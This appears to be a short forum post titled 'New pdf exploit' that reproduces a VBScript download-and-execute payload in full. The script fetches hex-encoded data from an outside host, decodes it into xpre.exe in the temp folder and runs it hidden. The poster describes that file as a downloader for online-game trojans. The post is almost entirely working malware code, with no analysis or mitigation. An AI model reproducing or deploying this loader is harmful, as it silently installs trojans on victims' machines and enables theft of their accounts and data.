This exploit execute some VBS downloader
<script language="VBScript">
on error resume next
Function DownloadExecute(source, target) on error resume next Dim wobj, eobj, sobj, xobj, aobj, eloc, tfold, tfile, binstring, response, i, x
Set wobj = CreateObject("WScript.Shell") Set sobj = CreateObject("Scripting.FileSystemObject")
If VarType(xobj) <> vbObject Then Set xobj = CreateObject("MSXML2.XMLHTTP") If VarType(xobj) <> vbObject Then Set xobj = CreateObject("Microsoft.XMLHTTP")
If sobj.FileExists(eloc) = False Then
xobj.Open "GET", source, False
xobj.setRequestHeader "Request", "xpreload"
xobj.Send
response = xobj.responseText
If Len(response) > 1 And InStr(LCase(binstring), "<html>") = 0 Then
Dim ss, sn, sp, sd(), bd()
ss = Len(response)
sn = 5000
sp = FormatNumber((ss / sn), 0) + 1
ReDim sd(sp), bd(sp)
For i = 0 To sp
sd(i) = Mid(response, (i*sn)+1, sn)
For x = 1 To Len(sd(i)) Step 2
bd(i) = bd(i) & Chr(Clng("&H" & Mid(sd(i), x, 2)))
Next
binstring = binstring & bd(i)
Next
Set tfold = sobj.GetSpecialFolder(2)
Set tfile = tfold.CreateTextFile(target)
tfile.Write binstring
tfile.Close
End If
End If
wobj.run tfold & Chr(92) & target, 0
End Function
Call DownloadExecute("http://ssa.adxdnet.net/get.php?src=xpre", "xpre.exe") </script>
xpre.exe - is downloader of some online games trojans
Topic: New pdf exploit (Read 7887 times)
